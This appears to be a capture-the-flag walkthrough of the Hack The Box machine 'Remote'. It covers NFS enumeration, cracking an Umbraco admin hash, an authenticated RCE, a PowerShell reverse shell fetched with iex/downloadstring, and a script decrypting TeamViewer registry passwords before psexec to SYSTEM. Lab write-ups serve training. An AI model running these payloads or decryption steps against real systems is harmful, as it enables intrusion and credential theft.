11 minute read

Introduction


Remote is an easy Windows machine rated 4.3. The user rating seems to be medium, so the box might be more difficult than easy.

First, I exploited an authenticated RCE in the Umbraco CMS using a password I found in the Umbraco Database config file on the NFS share. The privilege escalation was done by extracting passwords from TeamViewer.

So let’s just start enumerating the machine.

Enumeration


As always, I start by enumerating the box using Nmap.

Nmap Scan


For this task I use the nmap automator, here are the results of the full scan:

PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
111/tcp  open  rpcbind
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
2049/tcp open  nfs
49666/tcp open  unknown

On those open ports, the automator will perform a script scan

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8m19s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-26T10:36:06
|_  start_date: N/A
49666/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

It’s interesting that there is an FTP and SMB running on the machine.

Service Enumeration


Port 21: FTP


Let’s try the anonymous user:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ ftp remote.htb
Connected to remote.htb.
220 Microsoft FTP Service
Name (remote.htb:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
421 Service not available, remote server has closed connection

I can access using the anonymous user, but there are no files. It’s probably an upload directory for the webpage, but I need to check that later.

Port 445: SMB


I tried to list the SMB shares, but I get an authentication error:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ smbmap -H remote.htb                                           
[!] Authentication error on remote.htb

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ smbclient -L //remote.htb/         
Enter WORKGROUP\user's password: 
session setup failed: NT_STATUS_ACCESS_DENIED

Port 111, 135, 2049 & 49666: RPC


All of those ports are RPCs. So I use RPC scan to check for interesting things:

┌──(user㉿KaliVM)-[/tools/RPCScan]
└─$ ./rpc-scan.py 10.10.10.180 --rpc
rpc://10.10.10.180:111  Portmapper
RPC services for 10.10.10.180:
portmapper (100000)            2          udp        111       
portmapper (100000)            3          udp        111       
portmapper (100000)            4          udp        111       
portmapper (100000)            2          tcp        111       
portmapper (100000)            3          tcp        111       
portmapper (100000)            4          tcp        111       
nfs (100003)                   2          tcp        2049      
nfs (100003)                   3          tcp        2049      
nfs (100003)                   2          udp        2049      
nfs (100003)                   3          udp        2049      
nfs (100003)                   4          tcp        2049      
mount demon (100005)           1          tcp        2049      
mount demon (100005)           2          tcp        2049      
mount demon (100005)           3          tcp        2049      
mount demon (100005)           1          udp        2049      
mount demon (100005)           2          udp        2049      
mount demon (100005)           3          udp        2049      
network lock manager (100021)  1          tcp        2049      
network lock manager (100021)  2          tcp        2049      
network lock manager (100021)  3          tcp        2049      
network lock manager (100021)  4          tcp        2049      
network lock manager (100021)  1          udp        2049      
network lock manager (100021)  2          udp        2049      
network lock manager (100021)  3          udp        2049      
network lock manager (100021)  4          udp        2049      
status monitor 2 (100024)      1          tcp        2049      
status monitor 2 (100024)      1          udp        2049      

┌──(user㉿KaliVM)-[/tools/RPCScan]
└─$ ./rpc-scan.py 10.10.10.180 --mounts
rpc://10.10.10.180:111  Portmapper
Exports for 10.10.10.180:
/site_backups

Let’s mount this share (site_backups):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ sudo mount -t nfs 10.10.10.180:/site_backups /mnt/nfs

That worked:

┌──(user㉿KaliVM)-[/mnt/nfs]
└─$ ls -la
total 123
drwx------ 2 nobody 4294967294  4096 Feb 23  2020 .
drwxr-xr-x 6 root   root        4096 Sep 26 13:18 ..
drwx------ 2 nobody 4294967294    64 Feb 20  2020 App_Browsers
drwx------ 2 nobody 4294967294  4096 Feb 20  2020 App_Data
drwx------ 2 nobody 4294967294  4096 Feb 20  2020 App_Plugins
drwx------ 2 nobody 4294967294    64 Feb 20  2020 aspnet_client
drwx------ 2 nobody 4294967294 49152 Feb 20  2020 bin
drwx------ 2 nobody 4294967294  8192 Feb 20  2020 Config
drwx------ 2 nobody 4294967294    64 Feb 20  2020 css
-rwx------ 1 nobody 4294967294   152 Nov  1  2018 default.aspx
-rwx------ 1 nobody 4294967294    89 Nov  1  2018 Global.asax
drwx------ 2 nobody 4294967294  4096 Feb 20  2020 Media
drwx------ 2 nobody 4294967294    64 Feb 20  2020 scripts
drwx------ 2 nobody 4294967294  8192 Feb 20  2020 Umbraco
drwx------ 2 nobody 4294967294  4096 Feb 20  2020 Umbraco_Client
drwx------ 2 nobody 4294967294  4096 Feb 20  2020 Views
-rwx------ 1 nobody 4294967294 28539 Feb 20  2020 Web.config

There is only one interesting file: App_Data/TEMP/FileUploads/BodyPart_09b7fcd6-410e-4172-8614-13d3c6af8316, it seems that this is a webshell that can execute commands. When enumerating the web server, I need to find the location where this is stored. In the App_Data, there is another file called Umbraco.sdf, this is the database of umbraco. Let’s enumerate that later.

Port 80: HTTP Web Server


The nmap automator also performed a FFuF scan:

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://remote.htb:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

                        [Status: 200, Size: 6693, Words: 1807, Lines: 188]
about-us                [Status: 200, Size: 5441, Words: 1232, Lines: 162]
blog                    [Status: 200, Size: 5001, Words: 1249, Lines: 138]
Blog                    [Status: 200, Size: 5001, Words: 1249, Lines: 138]
contact                 [Status: 200, Size: 7880, Words: 828, Lines: 125]
Contact                 [Status: 200, Size: 7880, Words: 828, Lines: 125]
home                    [Status: 200, Size: 6703, Words: 1807, Lines: 188]
Home                    [Status: 200, Size: 6703, Words: 1807, Lines: 188]
install                 [Status: 302, Size: 126, Words: 6, Lines: 4]
intranet                [Status: 200, Size: 3323, Words: 683, Lines: 117]
people                  [Status: 200, Size: 6739, Words: 2109, Lines: 168]
person                  [Status: 200, Size: 2741, Words: 503, Lines: 82]
People                  [Status: 200, Size: 6739, Words: 2109, Lines: 168]
Products                [Status: 200, Size: 5328, Words: 1307, Lines: 130]
products                [Status: 200, Size: 5328, Words: 1307, Lines: 130]
umbraco                 [Status: 200, Size: 4040, Words: 710, Lines: 96]
:: Progress: [4614/4614] :: Job [1/1] :: 124 req/sec :: Duration: [0:01:10] :: Errors: 0

There is the umbraco CMS installed, let’s check for exploits:

┌──(user㉿KaliVM)-[/mnt/nfs/App_Data/TEMP/FileUploads]
└─$ searchsploit umbraco    
------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                      |  Path
------------------------------------------------------------------------------------ ---------------------------------
Umbraco CMS - Remote Command Execution (Metasploit)                                 | windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution                          | aspx/webapps/46153.py
Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)                          | aspx/webapps/49488.py
Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)         | aspx/webapps/50241.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting                          | php/webapps/44988.txt
------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

All exploits are Authenticated, so that won’t work. I think that there is nothing else that is interesting on the webpage. I could not find the webshell, so I need to find some credentials. That could be done by enumerating the Umbraco.sdf database.

Umbraco Database


It looks like that this file is a binary, but the file does contain some lines of ASCII text:

Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d��������Ìü�����������������׃rf«��u¿rf«������������������vrf«��’¿rf«���€€€X€v€…€Š€®�®�
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50��������Èô�����������������BiIf«��hV�g«������������������vrf«��hV�g«���€€€X€v€…€Š€®�®�
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882fˆ�������[�{�"�a�l�i�a�s�"�:�"�u�m�b�I�n�t�r�o�I�n�t�r�o�d�u�c�t�i�o�n�"�,�"�c�o�m�p�l�e�t�e�d�"�:�f�a�l�s�e�,�"�d�i�s�a�b�l�e�d�"�:�t�r�u�e�}�]���������èü����������������?Ç�g«��������������������������.o�g«��…Ç�g«���€€€X€v€…€Š€®�®�
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e��������Èü����������������?Ç�g«��A:�g«������������������.o�g«��O:�g«���€€€Y€w€†€‹€¯�¯�
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749��������Èü����������������~©
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32�

So there are 3 hashes:

b8be16afba8c314ad33d812f22a04991b90e2aaa

jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts=

8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA=

I tried to crack these hashes using crackstation:

Untitled

Only one hash could be cracked. I now have credentials for the admin user: admin@htb.local:baconandcheese.

Untitled

That worked, so I can try the authenticated RCE now.

Exploitation


First, I download the exploit: (In addition to this, I renamed the exploit)

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ searchsploit -m aspx/webapps/49488.py
  Exploit: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49488
     Path: /usr/share/exploitdb/exploits/aspx/webapps/49488.py
File Type: Python script, ASCII text executable, with very long lines

Copied to: /hackthebox/oscp-prep/remote/49488.py

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ mv 49488.py umbraco-rce.py

It’s time to execute the script, I will first try the whoami command, which should always work:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ python3 umbraco-rce.py -u admin@htb.local -p baconandcheese -i http://remote.htb -c whoami
iis apppool\defaultapppool

It took me some time to figure out how to execute powershell commands, but here is the method that worked for me (quotes are not necessary for single word commands):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ python3 umbraco-rce.py -u admin@htb.local -p baconandcheese -i http://remote.htb -c powershell -a "whoami"
iis apppool\defaultapppool

I can try to get a reverse shell using this little script:

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.6",443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
	$sendback = (iex $data 2>&1 | Out-String )
	$sendback2 = $sendback + "PS " + (pwd).Path + "> "
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
	$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
}
$client.Close()

I start a python web server and execute the script with powershell:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ python3 umbraco-rce.py -u admin@htb.local -p baconandcheese -i http://remote.htb -c powershell -a "iex(new-object net.webclient).downloadstring('http://10.10.16.6/rev.ps1')"

After executing the command, I look at the netcat listener:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.180] 49688

PS C:\windows\system32\inetsrv>

And there is the shell as the IIS user.

User Flag


Let’s try to get the user flag:

dir

    Directory: C:\Users\Public

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        2/19/2020   3:03 PM                Documents
d-r---        9/15/2018   3:19 AM                Downloads
d-r---        9/15/2018   3:19 AM                Music
d-r---        9/15/2018   3:19 AM                Pictures
d-r---        9/15/2018   3:19 AM                Videos
-ar---        9/26/2021   6:19 AM             34 user.txt

Get-Content user.txt
53**************************a0d2

Privilege Escalation


First, I transfer WinPEAS to the machine:

certutil.exe -urlcache -f http://10.10.16.6/winPEAS.bat winPEAS.bat

Now, run it:

???????????? Looking AppCmd.exe
?  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
    AppCmd.exe was found in C:\Windows\system32\inetsrv\appcmd.exe
TCP        127.0.0.1             2049          0.0.0.0               0               Listening         4               System
TCP        127.0.0.1             5939          0.0.0.0               0               Listening         2212            TeamViewer_Service

As you see, TeamViewer is running (This is of course a reference to the box name). Since this is a server, it should contain some credentials. Let’s visit the TeamViewer directory (c:\Program Files (x86)\TeamViewer). I found a Metasploit module, but that will not work on my reverse shell. So I checked the source of the module and found the correct registry key (version of TW installed is 7): HKLM:\software\wow6432node\teamviewer\version7. Let’s try to extract credentials:

cd HKLM:\software\wow6432node\teamviewer\version7
PS HKLM:\software\wow6432node\teamviewer\version7>

get-itemproperty -path .

StartMenuGroup            : TeamViewer 7
InstallationDate          : 2020-02-20
InstallationDirectory     : C:\Program Files (x86)\TeamViewer\Version7
Always_Online             : 1
Security_ActivateDirectIn : 0
Version                   : 7.0.43148
ClientIC                  : 301094961
PK                        : {191, 173, 42, 237...}
SK                        : {248, 35, 152, 56...}
LastMACUsed               : {, 005056B9F592}
MIDInitiativeGUID         : {514ed376-a4ee-4507-a28b-484604ed0ba0}
MIDVersion                : 1
ClientID                  : 1769137322
CUse                      : 1
LastUpdateCheck           : 1629207277
UsageEnvironmentBackup    : 1
SecurityPasswordAES       : {255, 155, 28, 115...}
MultiPwdMgmtIDs           : {admin}
MultiPwdMgmtPWDs          : {357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77}
Security_PasswordStrength : 3
PSPath                    : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer\vers
                            ion7
PSParentPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\wow6432node\teamviewer
PSChildName               : version7
PSDrive                   : HKLM
PSProvider                : Microsoft.PowerShell.Core\Registry

In the Metasploit script, I see those lines, which tell me the registry key to look at:

locations = [
      { value: 'OptionsPasswordAES', description: 'Options Password' },
      { value: 'SecurityPasswordAES', description: 'Unattended Password' }, # for < v9.x

The next thing to do is to print out the SecurityPasswordAES:

(get-itemproperty -path .).SecurityPasswordAES 
255
155
28
115
214
107
206
49
172
65
62
174
19
27
70
79
88
47
108
226
209
225
243
218
126
141
55
107
38
57
78
91

This is a list of integers (encrypted password), let’s look at the Metasploit module and how it decrypts those passwords:

def decrypt(encrypted_data)
    password = ""
    return password unless encrypted_data

    password = ""

    key = "\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
    iv  = "\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
    aes = OpenSSL::Cipher.new("AES-128-CBC")
    begin
        aes.decrypt
        aes.key = key
        aes.iv = iv
        plaintext = aes.update(encrypted_data)
        password = Rex::Text.to_ascii(plaintext, 'utf-16le')
        if plaintext.empty?
            return nil
        end
    rescue OpenSSL::Cipher::CipherError => e
        print_error("Unable to decrypt the data. Exception: #{e}")
    end

I can change this script slightly so that it decrypts the password (I will use python for this):

# Import AES crypto module
from Crypto.Cipher import AES

# setting the variables from the metasploit module
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
# create an array with the integers from SecurityPasswordAES
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 
                    19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 
                    126, 141, 55, 107, 38, 57, 78, 91])

# creating the AES object and setting the correct key and IV
aes = AES.new(key, AES.MODE_CBC, IV=iv)
# decrypting the password
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")

print(f"Password: {password}")

Run the script:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ python3 decrypt-tw-passwords.py
[+] Found password: !R3m0te!

The password is !R3m0te!. Let’s check for a password reuse and connect to the machine with psexec.py:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/remote]
└─$ psexec.py 'administrator:!R3m0te!@10.10.10.180'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file eEDpTQHM.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service PeDK on 10.10.10.180.....
[*] Starting service PeDK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

That worked, I got a shell on the system.

Root Flag


It’s time to get that root flag:

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is D582-9880

 Directory of C:\Users\Administrator\Desktop

02/20/2020  03:41 AM    <DIR>          .
02/20/2020  03:41 AM    <DIR>          ..
09/26/2021  06:19 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)  12,977,729,536 bytes free

C:\Users\Administrator\Desktop>type root.txt
d3**************************d82c

Conclusions


The box was pretty fun to solve, I learned a lot about TeamViewer and how it stores passwords. This box could also be a real life situation, so it is also useful for future penetration testers.